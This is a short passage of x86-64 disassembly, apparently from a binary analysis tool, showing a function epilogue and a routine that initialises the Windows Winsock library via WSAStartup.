mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401e5880
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140033870
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x1402b8920]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rax, qword [0x1402c7360]
test rax, rax
jne 0x1400338b6
mov ecx, 0x101
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
test eax, eax
sete cl
mov qword [0x1402c7360], rcx
mov rax, rcx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1401e5880
add rsp, 0x1d8
ret